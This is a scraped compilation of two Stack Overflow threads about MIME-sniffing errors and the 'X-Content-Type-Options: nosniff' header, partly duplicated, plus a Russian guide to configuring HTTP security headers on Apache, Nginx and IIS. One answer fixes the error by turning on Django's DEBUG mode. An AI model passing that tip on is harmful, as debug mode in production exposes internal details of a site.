I am developing a web page using JavaScript and HTML, everything was working
good when I have received this list of errors from my HTML page:
The resource from “https://raw.githubusercontent.com/dataarts/dat.gui/master/build/dat.gui.min.js”
was blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.js” was
blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/master/examples/js/renderers/CanvasRenderer.js”
was blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/master/examples/js/renderers/Projector.js”
was blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.js” was
blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
These errors appeared after an automatic browser update (Mozilla Firefox), may
be something has been changed in the set up. Do you know any way to solve this
problem?
asked Nov 21, 2016 at 20:14
1
Check if the file path is correct and the file exists — in my case that was the issue — as I fixed it, the error disappeared
answered Dec 25, 2016 at 8:56
davdav
8,73115 gold badges76 silver badges138 bronze badges
3
This can be fixed by changing your URL to use a mirror/proxy. Instead of using GitHub:
https://raw.githubusercontent.com/svnpenn/bm/master/yt-dl/yt-dl.js
Content-Type: text/plain; charset=utf-8
Use a third-party cache:
https://cdn.rawgit.com/svnpenn/bm/master/yt-dl/yt-dl.js
content-type: application/javascript;charset=utf-8
rawgit.com was a caching proxy service for GitHub that has shut down since 2018. See its FAQ
answered Dec 24, 2016 at 1:07
2
We started facing this error in production after our devops team changed the webserver configuration by adding X-Content-Type-Options: nosniff. Now, due to this, browser was forced to interpret the resources as it was mentioned in content-type parameter of response headers.
Now, from the beginning, our application server was explicitly setting content-type of the js files as text/plain. Since, X-Content-Type-Options: nosniff was not set in webserver, browser was automatically interpreting the js files as JavaScript files although the content-type was mentioned as text/plain. This is called as MIME-sniffing. Now, after setting X-Content-Type-Options: nosniff, browser was forced to not do the MIME-sniffing and take the content-type as mentioned in response headers. Due to this, it did interpret js files as plain text files and denied to execute them or blocked them. The same is shown in your errors.
Solution: is to make your server set the content-type of JS files as
application/javascript;charset=utf-8
This way, it will load all JS files normally and issue will get resolved.
answered Oct 30, 2018 at 10:42
Manish BansalManish Bansal
2,2702 gold badges19 silver badges36 bronze badges
4
check your path ,this error will come if file was not exist into given path.
answered Jul 14, 2017 at 12:58
Are you using express?
Check your path(note the «/» after /public/):
app.use(express.static(__dirname + "/public/"));
//note: you do not need the «/» before «css» because its already included above:
rel="stylesheet" href="css/style.css
Hope this helps
JP. Aulet
4,3354 gold badges24 silver badges39 bronze badges
answered Oct 6, 2017 at 17:20
JPaulinoJPaulino
3,0871 gold badge8 silver badges7 bronze badges
It might be a wrong path.
Ensure in your main app file you have:
app.use(express.static(path.join(__dirname,"public")));
Example link to your css as:
<link href="/css/clean-blog.min.css" rel="stylesheet">
similar for link to js files:
<script src="/js/clean-blog.min.js"></script>
answered May 28, 2019 at 13:37
Mwongera808Mwongera808
87011 silver badges16 bronze badges
For WordPress
In my case i just missed the slash «/» after get_template_directory_uri() so resulted / generated path was wrong:
My Wrong code :
wp_enqueue_script( 'retina-js', get_template_directory_uri().'js/retina.min.js' );
My Corrected Code :
wp_enqueue_script( 'retina-js', get_template_directory_uri().'/js/retina.min.js' );
dav
8,73115 gold badges76 silver badges138 bronze badges
answered Jul 6, 2017 at 13:04
Sabir HussainSabir Hussain
2,7122 gold badges13 silver badges19 bronze badges
This might be because the browser cannot access a file. I stumbled with this type of error when creating application with node.js. You can try to directly request the script file (copying and pasting url) and see if you can retrieve it. You can see then what the real problem is. It can be because of permission of folder in which the file is located, or browser just cannot find it due to incorrect path to it. In node.js, after specifying route to file, all works.
answered Apr 26, 2017 at 9:53
VadiVadi
3,1592 gold badges12 silver badges30 bronze badges
2
I’ve solved this problem by changing charset in js-files from UTF-8 without BOM to simple UTF-8 in Notepad++
answered May 6, 2017 at 14:47
I had this error when i was using the azure storage as a static website, the js files that are copied had the content type as text/plain; charset=utf-8 and i changed the content type to application/javascript
It started working.
answered Apr 2, 2020 at 10:56
Karthikeyan VKKarthikeyan VK
4,8583 gold badges36 silver badges46 bronze badges
It happened to me for wrong tag. By mistake I add the js file in link tag.
Example: (The Wrong One)
<link rel="stylesheet" href="plugins/timepicker/bootstrap-timepicker.min.js">
It solved by using the correct tag for javascript. Example:
<script src="plugins/timepicker/bootstrap-timepicker.min.js"></script>
answered Sep 7, 2020 at 20:51
smartrahatsmartrahat
5,1736 gold badges46 silver badges68 bronze badges
See for the protocols HTTPS and HTTP
Sometimes if you are using mixed protocols [this happens mostly with JSONP callbacks ] you can end up in this ERROR.
Make sure both the web-page and the resource page have the same HTTP protocols.
answered Aug 23, 2018 at 7:32
Clain DsilvaClain Dsilva
1,6333 gold badges25 silver badges34 bronze badges
I got this problem, when having a function name in the url parameters (firefox 68).
E.g. https://.../test.html?concat() where test.html is
<!DOCTYPE html>
<html>
<script src="https://unpkg.com/mathjs/lib/browser/math.js"></script>
</html>
concat is a function in math.js.
I have no idea, why it happens at all. And it occurs least for this function, while some other functions have no effect.
A space between concat and the parenthesis https://.../test.html?concat () solves the problem.
answered Jun 2, 2022 at 8:53
app.static() does not preserve the file directory. For example: If you use app.static('static/') and link to the file as <script src="/static/code.js"></script> then the file will not be found as it is looking in the long place. Changing the code to <script src="code.js"></script> solved the problem for me
answered Feb 4 at 14:09
1
i also facing this same problem in django server.So i changed DEBUG = True in settings.py file its working
answered Jun 25, 2020 at 5:19
1
I am developing a web page using JavaScript and HTML, everything was working
good when I have received this list of errors from my HTML page:
The resource from “https://raw.githubusercontent.com/dataarts/dat.gui/master/build/dat.gui.min.js”
was blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.js” was
blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/master/examples/js/renderers/CanvasRenderer.js”
was blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/master/examples/js/renderers/Projector.js”
was blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
The resource from “https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.js” was
blocked due to MIME type mismatch (X-Content-Type-Options: nosniff).
These errors appeared after an automatic browser update (Mozilla Firefox), may
be something has been changed in the set up. Do you know any way to solve this
problem?
asked Nov 21, 2016 at 20:14
1
Check if the file path is correct and the file exists — in my case that was the issue — as I fixed it, the error disappeared
answered Dec 25, 2016 at 8:56
davdav
8,73115 gold badges76 silver badges138 bronze badges
3
This can be fixed by changing your URL to use a mirror/proxy. Instead of using GitHub:
https://raw.githubusercontent.com/svnpenn/bm/master/yt-dl/yt-dl.js
Content-Type: text/plain; charset=utf-8
Use a third-party cache:
https://cdn.rawgit.com/svnpenn/bm/master/yt-dl/yt-dl.js
content-type: application/javascript;charset=utf-8
rawgit.com was a caching proxy service for GitHub that has shut down since 2018. See its FAQ
answered Dec 24, 2016 at 1:07
2
We started facing this error in production after our devops team changed the webserver configuration by adding X-Content-Type-Options: nosniff. Now, due to this, browser was forced to interpret the resources as it was mentioned in content-type parameter of response headers.
Now, from the beginning, our application server was explicitly setting content-type of the js files as text/plain. Since, X-Content-Type-Options: nosniff was not set in webserver, browser was automatically interpreting the js files as JavaScript files although the content-type was mentioned as text/plain. This is called as MIME-sniffing. Now, after setting X-Content-Type-Options: nosniff, browser was forced to not do the MIME-sniffing and take the content-type as mentioned in response headers. Due to this, it did interpret js files as plain text files and denied to execute them or blocked them. The same is shown in your errors.
Solution: is to make your server set the content-type of JS files as
application/javascript;charset=utf-8
This way, it will load all JS files normally and issue will get resolved.
answered Oct 30, 2018 at 10:42
Manish BansalManish Bansal
2,2702 gold badges19 silver badges36 bronze badges
4
check your path ,this error will come if file was not exist into given path.
answered Jul 14, 2017 at 12:58
Are you using express?
Check your path(note the «/» after /public/):
app.use(express.static(__dirname + "/public/"));
//note: you do not need the «/» before «css» because its already included above:
rel="stylesheet" href="css/style.css
Hope this helps
JP. Aulet
4,3354 gold badges24 silver badges39 bronze badges
answered Oct 6, 2017 at 17:20
JPaulinoJPaulino
3,0871 gold badge8 silver badges7 bronze badges
It might be a wrong path.
Ensure in your main app file you have:
app.use(express.static(path.join(__dirname,"public")));
Example link to your css as:
<link href="/css/clean-blog.min.css" rel="stylesheet">
similar for link to js files:
<script src="/js/clean-blog.min.js"></script>
answered May 28, 2019 at 13:37
Mwongera808Mwongera808
87011 silver badges16 bronze badges
For WordPress
In my case i just missed the slash «/» after get_template_directory_uri() so resulted / generated path was wrong:
My Wrong code :
wp_enqueue_script( 'retina-js', get_template_directory_uri().'js/retina.min.js' );
My Corrected Code :
wp_enqueue_script( 'retina-js', get_template_directory_uri().'/js/retina.min.js' );
dav
8,73115 gold badges76 silver badges138 bronze badges
answered Jul 6, 2017 at 13:04
Sabir HussainSabir Hussain
2,7122 gold badges13 silver badges19 bronze badges
This might be because the browser cannot access a file. I stumbled with this type of error when creating application with node.js. You can try to directly request the script file (copying and pasting url) and see if you can retrieve it. You can see then what the real problem is. It can be because of permission of folder in which the file is located, or browser just cannot find it due to incorrect path to it. In node.js, after specifying route to file, all works.
answered Apr 26, 2017 at 9:53
VadiVadi
3,1592 gold badges12 silver badges30 bronze badges
2
I’ve solved this problem by changing charset in js-files from UTF-8 without BOM to simple UTF-8 in Notepad++
answered May 6, 2017 at 14:47
I had this error when i was using the azure storage as a static website, the js files that are copied had the content type as text/plain; charset=utf-8 and i changed the content type to application/javascript
It started working.
answered Apr 2, 2020 at 10:56
Karthikeyan VKKarthikeyan VK
4,8583 gold badges36 silver badges46 bronze badges
It happened to me for wrong tag. By mistake I add the js file in link tag.
Example: (The Wrong One)
<link rel="stylesheet" href="plugins/timepicker/bootstrap-timepicker.min.js">
It solved by using the correct tag for javascript. Example:
<script src="plugins/timepicker/bootstrap-timepicker.min.js"></script>
answered Sep 7, 2020 at 20:51
smartrahatsmartrahat
5,1736 gold badges46 silver badges68 bronze badges
See for the protocols HTTPS and HTTP
Sometimes if you are using mixed protocols [this happens mostly with JSONP callbacks ] you can end up in this ERROR.
Make sure both the web-page and the resource page have the same HTTP protocols.
answered Aug 23, 2018 at 7:32
Clain DsilvaClain Dsilva
1,6333 gold badges25 silver badges34 bronze badges
I got this problem, when having a function name in the url parameters (firefox 68).
E.g. https://.../test.html?concat() where test.html is
<!DOCTYPE html>
<html>
<script src="https://unpkg.com/mathjs/lib/browser/math.js"></script>
</html>
concat is a function in math.js.
I have no idea, why it happens at all. And it occurs least for this function, while some other functions have no effect.
A space between concat and the parenthesis https://.../test.html?concat () solves the problem.
answered Jun 2, 2022 at 8:53
app.static() does not preserve the file directory. For example: If you use app.static('static/') and link to the file as <script src="/static/code.js"></script> then the file will not be found as it is looking in the long place. Changing the code to <script src="code.js"></script> solved the problem for me
answered Feb 4 at 14:09
1
i also facing this same problem in django server.So i changed DEBUG = True in settings.py file its working
answered Jun 25, 2020 at 5:19
1
Время прочтения
7 мин
Просмотры 103K
Знаете ли вы, что в большинстве случаев уязвимость системы безопасности можно устранить добавив необходимые заголовки ответа?
Безопасность не менее важна, чем содержание или поисковая оптимизация сайта. Тысячи сайтов взламываются из-за ошибок в конфигурации или недостаточной защиты. Если вы владелец сайта или специалист по защите информации, и интересуетесь защитой сайта от кликджекинга, внедрения кода, уязвимостей MIME типов, XSS-атак и т.д., то данная инструкция будет вам полезна.
В этой статье я расскажу о разных заголовках HTTP для использования с различными веб-серверами, сетевой периферией или сетями доставки контента, чтобы повысить уровень защищенности сайта.
Замечания:
- До внесения изменений советую сделать резервную копию файла конфигурации;
- Некоторые заголовки могут не поддерживаться на всех браузерах, поэтому до выполнения стоит проверить совместимость;
- Mod_headers должен быть включен в Apache для использования этих заголовков. Следующая строка должна быть раскомментирована в httpd.conf file: LoadModule headers_module modules/mod_headers.so
Если вы пользуетесь SUCURI Cloud WAF, то о настройке сервера вручную можете не беспокоиться, большинство параметров уже автоматически включено.
Список заголовков HTTP
X-XSS-Protection
- Apache HTTP Server
- Nginx
- MaxCDN
- Microsoft IIS
HTTP Strict Transport Security
- Apache HTTP Server
- Nginx
- Cloud Flare
- Microsoft IIS
X-Frame-Options
- Apache
- Nginx
- F5 LTM
- WordPress
- Microsoft IIS
X-Content-Type-Options
- Apache
- Nginx
- WordPress
- Microsoft IIS
HTTP Public Key Pinning
Content Security Policy
- Apache
- Nginx
- Microsoft IIS
X-XSS-Protection
Заголовок X-XSS-Protection может предотвратить некоторые XSS-атаки («межсайтовый скриптинг»), он совместим с IE 8+, Chrome, Opera, Safari и Android.
Google, Facebook, Github используют этот заголовок, и большинство консультантов по предупреждению проникновений порекомендуют Вам его использовать.
Всего существует четыре варианта конфигурации:
| Значение параметра | Содержание |
|---|---|
| 0 | XSS-фильтр выключен |
| 1 | XSS-фильтр включен, и, в случае обнаружения атаки, страница подвергается цензуре |
| 1;mode=block | XSS-фильтр включен, и, в случае обнаружения атаки, предотвращает обработку страницы |
| 1;report=http://example.com/report_URI | XSS-фильтр включен, и, в случае обнаружения атаки, отправляется отчет о нарушении |
Давайте используем 1;mode=block для следующих веб-серверов.
Apache HTTP-сервер
Добавьте следующую запись в httpd.conf вашего сервера Apache:
Header set X-XSS-Protection “1; mode=block”
Для проверки перезапустите Apache.
Nginx
Добавьте следующее в nginx.conf в разделе HTTP:
add_header X-XSS-Protection "1; mode=block";
Необходимо перезапустить Nginx, чтобы изменения отразились в заголовке ответа вашего сайта.
MaxCDN
Если вы используете MaxCDN, то добавить заголовок — проще простого. Зайдите в Edge Rules, нажмите “New Rule” и выберите “Add X-XSS-Protection Header” из выпадающего списка.
Microsoft IIS
- Откройте Диспетчер IIS;
- Выберите сайт, для которого необходимо включить заголовок;
- Зайдите в “Заголовки ответа HTTP”
- Нажмите “Добавить” в разделе действий.
- Введите название, значение и нажмите OK.
- Перезапустите IIS, чтобы увидеть результаты.
HTTP Strict Transport Security
Заголовок HSTS (HTTP Strict Transport Security) гарантирует, что весь обмен данными из браузера осуществляется по протоколу HTTPS (HTTP Secure). Это предотвращает попытки обойти HTTPS и перенаправляет все HTTP запросы на HTTPS.
Перед тем, как добавлять этот заголовок, убедитесь в том, что все страницы сайта доступны по HTTPS, иначе они не будут отображаться.
Заголовок HSTS совместим с последними версиями большинства браузеров (IE, Firefox, Opera, Safari и Chrome). Всего есть три варианта конфигурации.
| Значение параметра | Содержание |
|---|---|
| max-age | Интервал (в секундах) для указания браузеру, что запросы следует отправлять только через HTTPS. |
| includeSubDomains | Конфигурация распространяется на поддомены. |
| preload | Используйте, если хотите добавить домен в предопределенный список HSTS. |
В качестве примера давайте настроим HSTS на год и добавим домен и поддомены в предопределенный список HSTS.
Apache HTTP-сервер
Чтобы использовать HSTS в Apache, добавьте в файл httpd.conf следующую запись:
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Чтобы увидеть результат, перезапустите Apache.
Nginx
Чтобы настроить HSTS в Nginx, добавьте следующую запись в nginx.conf в директиве Server (SSL):
add_header Strict-Transport-Security 'max-age=31536000; includeSubDomains; preload';
Как всегда, для проверки придется перезагрузить Nginx.
Cloud Flare
Если вы используете Cloud Flare, то включить HSTS можно всего за пару кликов мыши.
- Войдите в Cloud Flare и выберите необходимый сайт.
- Перейдите во вкладку “Crypto” и нажмите “Enable HSTS.”
Выберите необходимые вам настройки, и изменения вступят в действие сразу же.
Microsoft IIS
Запустите Диспетчер IIS и добавьте заголовок, перейдя в “Заголовки ответа HTTP” для соответствующего сайта.
Перезапустите сайт.
X-Frame-Options
Заголовок X-Frame-Options позволяет снизить уязвимость вашего сайта для кликджекинг-атак. Этот заголовок служит инструкцией для браузера не загружать вашу страницу в frame/iframe. Не все браузеры поддерживают этот вариант, так что проверьте заголовок на совместимость перед тем, как его добавлять.
Есть три варианта конфигурации.
| Значение параметра | Содержание |
|---|---|
| SAMEORIGIN | Позволяет загрузку контента в frame/iframe только если фрейм и страница, его загружающая, расположены на одном домене. |
| DENY | Запрещает загрузку контента в frame/iframe. |
| ALLOW-FROM | Допускает загрузку контента в фреймах только для определенного URI. |
Давайте рассмотрим, как добавить конфигурацию “DENY” для запрета встраивания.
Apache
Добавьте следующую строку в httpd.conf и для проверки перезагрузите веб-сервер:
Header always append X-Frame-Options DENY
Nginx
Добавьте следующее в nginx.conf в директиве Server:
add_header X-Frame-Options “DENY”;
Для проверки результатов необходима перезагрузка.
F5 LTM
Создайте iRule следующего содержания для соответствующего виртуального сервера:
when HTTP_RESPONSE {
HTTP::header insert "X-FRAME-OPTIONS" "DENY"
}
Перезагружать ничего не нужно, изменения происходят автоматически.
WordPress
Этот заголовок также можно использовать в WordPress. Добавьте следующее в файл wp-config.php:
header(‘X-Frame-Options: DENY’);
Если вы не хотите вносить изменения в файл, то можете воспользоваться плагином по этой инструкции.
Microsoft IIS
Чтобы добавить заголовок, откройте “Заголовки ответа HTTP” для соответствующего сайта.
Чтобы изменения отобразились, нужно перезапустить сайт.
X-Content-Type-Options
Можно предотвратить атаки с использованием подмены MIME типов, добавив этот заголовок ответа HTTP. Заголовок содержит инструкции по определению типа файла и не допускает сниффинг контента. При конфигурации потребуется добавить только один параметр: “nosniff”.
Давайте посмотрим, как добавить этот заголовок.
Apache
Добавьте следующую строку в файл httpd.conf:
Header set X-Content-Type-Options nosniff
Не забудьте перезагрузить веб-сервер Apache, чтобы конфигурация вступила в действие.
Nginx
Добавьте следующую строку в файл nginx.conf в директиве Server:
add_header X-Content-Type-Options nosniff;
Как обычно, потребуется перезагрузить Nginx для проверки результатов.
WordPress
Если вы используете WordPress, то вы можете воспользоваться плагином Security Headers для использования этого заголовка.
Microsoft IIS
Откройте IIS и зайдите в раздел «Заголовки ответа HTTP»
Нажмите «Добавить», введите название и значение.
Нажмите OK и перезапустите IIS, чтобы проверить результат.
HTTP Public Key Pinning
Сократите риск MITM-атаки (“человек посередине”) с помощью привязки сертификата. Для этого необходимо добавить заголовок HPKP (HTTP Public Key Pinning).
Можно привязать корневой сертификат открытого ключа или промежуточный сертификат. На момент подготовки статьи, поддержка HPKP осуществляется в Firefox и Chrome c алгоритмом хэширования SHA-256.
Есть четыре варианта конфигурации.
| Значение параметра | Содержание |
|---|---|
| report-uri=”url” | Отправить отчет на определенный URL, если привязка не состоялась. Это необязательный параметр. |
| pin-sha256=”sha256key” | Определить привязку. |
| max-age= | Инструкция для браузера запомнить время в секундах, в течение которого сайт будет доступен только с использованием одного из привязанных сертификатов. |
| IncludeSubDomains | Применить в отношении поддоменов. |
В качестве примера давайте рассмотрим заголовок HPKP для facebook.com:
public-key-pins-report-only:max-age=500; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri=http://reports.fb.com/hpkp/
Если вы собираетесь использовать это на своем сайте, то рекомендую обратиться к руководству, написанному Scott Helme.
Content Security Policy
Чтобы предотвратить XSS-атаки, кликджекинг, внедрение кода, можно добавить заголовок ответа Content Security Policy (CSP). CSP содержит инструкции о загрузке контента из разрешенных источников.
Не все браузеры поддерживают CSP, так что перед использованием придется проверить это. Есть три варианта использования заголовков CSP:
- Content-Security-Policy – Level 2/1.0;
- X-Content-Security-Policy – не рекомендуется;
- X-Webkit-CSP – не рекомендуется.
Если вы еще пользуетесь устаревшим вариантом, то стоит задуматься о переходе на обновленный.
Для заголовка CSP можно задать множество параметров, их можно изучить на OWASP. Предлагаю рассмотреть два самых распространенных.
| Значение параметра | Содержание |
|---|---|
| default-src | Загружать с определенного источника все. |
| script-src | Загружать с определенного источника только скрипты. |
Рассмотрим разрешение загрузки любого контента с текущего домена для разных веб-серверов.
Apache
Добавьте следующую строку в файл httpd.conf и перезагрузите веб-сервер:
Header set Content-Security-Policy "default-src 'self';"
Nginx
Добавьте следующее в секцию Server в файле nginx.conf:
add_header Content-Security-Policy "default-src 'self';";
Microsoft IIS
Зайдите в «Заголовки ответа HTTP» для соответствующего сайта в Диспетчере IIS и добавьте следующие настройки:
Я надеюсь, что инструкция по использованию заголовков позволит вам повысить безопасность и защищенность вашего веб-приложения. Если вы ищете защищенный IIS веб-сервер, то обратите внимание на WebKnight WAF, где можно реализовать вышеуказанные конфигурации и не только.
Последний абзац, ради которого Chandan Kumar пишет эти статьи, а я их перевожу:
будем рады видеть Вас в числе посетителей HOSTING.cafe (поиск виртуальных серверов, виртуального хостинга и не только) или POISK.hosting (сборник отзывов о хостерах).
I am doing some penetration testing on my localhost with OWASP ZAP, and it keeps reporting this message:
The Anti-MIME-Sniffing header X-Content-Type-Options was not set to
‘nosniff’This check is specific to Internet Explorer 8 and Google Chrome.
Ensure each page sets a Content-Type header and the
X-CONTENT-TYPE-OPTIONS if the Content-Type header is unknown
I have no idea what this means, and I couldn’t find anything online. I have tried adding:
<meta content="text/html; charset=UTF-8; X-Content-Type-Options=nosniff" http-equiv="Content-Type" />
but the I still get the alert.
What is the correct way of setting the parameter?
asked Aug 20, 2013 at 14:27
Description
Setting a server’s X-Content-Type-Options HTTP response header to nosniff instructs browsers to disable content or MIME sniffing which is used to override response Content-Type headers to guess and process the data using an implicit content type. While this can be convenient in some scenarios, it can also lead to some attacks listed below. Configuring your server to return the X-Content-Type-Options HTTP response header set to nosniff will instruct browsers that support MIME sniffing to use the server-provided Content-Type and not interpret the content as a different content type.
Browser Support
The X-Content-Type-Options HTTP response header is supported in Chrome, Firefox and Edge as well as other browsers. The latest browser support is available on the Mozilla Developer Network (MDN) Browser Compatibility Table for X-Content-Type-Options:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
Attacks Countered
-
MIME Confusion Attack enables attacks via user generated content sites by allowing users uploading malicious code that is then executed by browsers which will interpret the files using alternate content types, e.g. implicit
application/javascriptvs. explicittext/plain. This can result in a «drive-by download» attack which is a common attack vector for phishing. Sites that host user generated content should use this header to protect their users. This is mentioned by VeraCode and OWASP which says the following:This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.
-
Unauthorized Hotlinking can also be enabled by
Content-Typesniffing. By hotlinking to sites with resources for one purpose, e.g. viewing, apps can rely on content-type sniffing and generate a lot of traffic on sites for another purpose where it may be against their terms of service, e.g. GitHub displays JavaScript code for viewing, but not for execution:Some pesky non-human users (namely computers) have taken to «hotlinking» assets via the raw view feature — using the raw URL as the
srcfor a<script>or<img>tag. The problem is that these are not static assets. The raw file view, like any other view in a Rails app, must be rendered before being returned to the user. This quickly adds up to a big toll on performance. In the past we’ve been forced to block popular content served this way because it put excessive strain on our servers.
answered May 13, 2016 at 4:43
GrokifyGrokify
14.4k6 gold badges58 silver badges79 bronze badges
1
# prevent mime based attacks
Header set X-Content-Type-Options "nosniff"
This header prevents «mime» based attacks. This header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type as the header instructs the browser not to override the response content type. With the nosniff option, if the server says the content is text/html, the browser will render it as text/html.
http://stopmalvertising.com/security/securing-your-website-with-.htaccess/.htaccess-http-headers.html
answered Oct 21, 2015 at 19:27
Won Jun BaeWon Jun Bae
5,0036 gold badges43 silver badges49 bronze badges
1
For Microsoft IIS servers, you can enable this header via your web.config file:
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="X-Content-Type-Options"/>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>
And you are done.
Simon East
54.1k17 gold badges138 silver badges132 bronze badges
answered Mar 28, 2016 at 6:15
ComeInComeIn
1,45916 silver badges12 bronze badges
2
The X-Content-Type-Options HTTP response header is a marker used by the server to indicate that the MIME types advertised in the Content-Type headers should not be changed and should be followed. This allows you to opt out of MIME type sniffing, or, in other words, it is a way to say that the webmasters knew what they were doing.
Syntax :
X-Content-Type-Options: nosniff
Directives :
nosniff
Blocks a request if the requested type is
- «style» and the MIME type is not «text/css», or
- «script» and the MIME type is not a JavaScript MIME type.
Note: nosniff only applies to «script» and «style» types. Also applying nosniff to images turned out to be incompatible with existing web sites.
Specification :
https://fetch.spec.whatwg.org/#x-content-type-options-header
iconoclast
20.5k12 gold badges100 silver badges135 bronze badges
answered Oct 9, 2017 at 11:25
Sahil AggarwalSahil Aggarwal
1,2811 gold badge12 silver badges29 bronze badges
A really simple explanation that I found useful: the nosniff response header is a way to keep a website more secure.
From Security Researcher, Scott Helme, here:
It prevents Google Chrome and Internet Explorer from trying to mime-sniff the content-type of a response away from the one being declared by the server.
answered Jan 26, 2021 at 12:59
stevecstevec
35.7k22 gold badges179 silver badges248 bronze badges
Just to elaborate a bit on the meta-tag thing. I’ve heard a talk, where a statement was made, one should always insert the «no-sniff» meta tag in the html to prevent browser sniffing (just like OP did):
<meta content="text/html; charset=UTF-8; X-Content-Type-Options=nosniff" http-equiv="Content-Type" />
However, this is not a valid method for w3c compliant websites, the validator will raise an error:
Bad value text/html; charset=UTF-8; X-Content-Type-Options=nosniff for attribute content on element meta: The legacy encoding contained ;, which is not a valid character in an encoding name.
And there is no fixing this. To rightly turn off no-sniff, one has to go to the server settings and turn it off there. Because the «no-sniff» option is something from the HTTP header, not from the HTML file which is attached at the HTTP response.
To check if the no-sniff option is disabled, one can enable the developer console, networks tab and then inspect the HTTP response header:
answered Jan 23, 2021 at 15:23
Hans THans T
1231 silver badge11 bronze badges
Prevent content sniffing where no mimetype is sent
Configuration on Ubuntu 20.04 — apache 2.4.41:
Enable the headers module
$ sudo a2enmod headers
Edit file /etc/apache2/conf-available/security.conf and add:
Header always set X-Content-Type-Options: nosniff
Enable Configuration $ sudo a2enconf security.conf
Restart Apache
$ sudo systemctl restart apache2
$ curl -I localhost
HTTP/1.1 200 OK
Date: Fri, 23 Oct 2020 06:12:16 GMT
Server:
X-Content-Type-Options: nosniff
Last-Modified: Thu, 22 Oct 2020 08:06:06 GMT
answered Oct 23, 2020 at 6:35
blessedblessed
7151 gold badge10 silver badges15 bronze badges
1
I am doing some penetration testing on my localhost with OWASP ZAP, and it keeps reporting this message:
The Anti-MIME-Sniffing header X-Content-Type-Options was not set to
‘nosniff’This check is specific to Internet Explorer 8 and Google Chrome.
Ensure each page sets a Content-Type header and the
X-CONTENT-TYPE-OPTIONS if the Content-Type header is unknown
I have no idea what this means, and I couldn’t find anything online. I have tried adding:
<meta content="text/html; charset=UTF-8; X-Content-Type-Options=nosniff" http-equiv="Content-Type" />
but the I still get the alert.
What is the correct way of setting the parameter?
asked Aug 20, 2013 at 14:27
Description
Setting a server’s X-Content-Type-Options HTTP response header to nosniff instructs browsers to disable content or MIME sniffing which is used to override response Content-Type headers to guess and process the data using an implicit content type. While this can be convenient in some scenarios, it can also lead to some attacks listed below. Configuring your server to return the X-Content-Type-Options HTTP response header set to nosniff will instruct browsers that support MIME sniffing to use the server-provided Content-Type and not interpret the content as a different content type.
Browser Support
The X-Content-Type-Options HTTP response header is supported in Chrome, Firefox and Edge as well as other browsers. The latest browser support is available on the Mozilla Developer Network (MDN) Browser Compatibility Table for X-Content-Type-Options:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
Attacks Countered
-
MIME Confusion Attack enables attacks via user generated content sites by allowing users uploading malicious code that is then executed by browsers which will interpret the files using alternate content types, e.g. implicit
application/javascriptvs. explicittext/plain. This can result in a «drive-by download» attack which is a common attack vector for phishing. Sites that host user generated content should use this header to protect their users. This is mentioned by VeraCode and OWASP which says the following:This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.
-
Unauthorized Hotlinking can also be enabled by
Content-Typesniffing. By hotlinking to sites with resources for one purpose, e.g. viewing, apps can rely on content-type sniffing and generate a lot of traffic on sites for another purpose where it may be against their terms of service, e.g. GitHub displays JavaScript code for viewing, but not for execution:Some pesky non-human users (namely computers) have taken to «hotlinking» assets via the raw view feature — using the raw URL as the
srcfor a<script>or<img>tag. The problem is that these are not static assets. The raw file view, like any other view in a Rails app, must be rendered before being returned to the user. This quickly adds up to a big toll on performance. In the past we’ve been forced to block popular content served this way because it put excessive strain on our servers.
answered May 13, 2016 at 4:43
GrokifyGrokify
14.4k6 gold badges58 silver badges79 bronze badges
1
# prevent mime based attacks
Header set X-Content-Type-Options "nosniff"
This header prevents «mime» based attacks. This header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type as the header instructs the browser not to override the response content type. With the nosniff option, if the server says the content is text/html, the browser will render it as text/html.
http://stopmalvertising.com/security/securing-your-website-with-.htaccess/.htaccess-http-headers.html
answered Oct 21, 2015 at 19:27
Won Jun BaeWon Jun Bae
5,0036 gold badges43 silver badges49 bronze badges
1
For Microsoft IIS servers, you can enable this header via your web.config file:
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="X-Content-Type-Options"/>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>
And you are done.
Simon East
54.1k17 gold badges138 silver badges132 bronze badges
answered Mar 28, 2016 at 6:15
ComeInComeIn
1,45916 silver badges12 bronze badges
2
The X-Content-Type-Options HTTP response header is a marker used by the server to indicate that the MIME types advertised in the Content-Type headers should not be changed and should be followed. This allows you to opt out of MIME type sniffing, or, in other words, it is a way to say that the webmasters knew what they were doing.
Syntax :
X-Content-Type-Options: nosniff
Directives :
nosniff
Blocks a request if the requested type is
- «style» and the MIME type is not «text/css», or
- «script» and the MIME type is not a JavaScript MIME type.
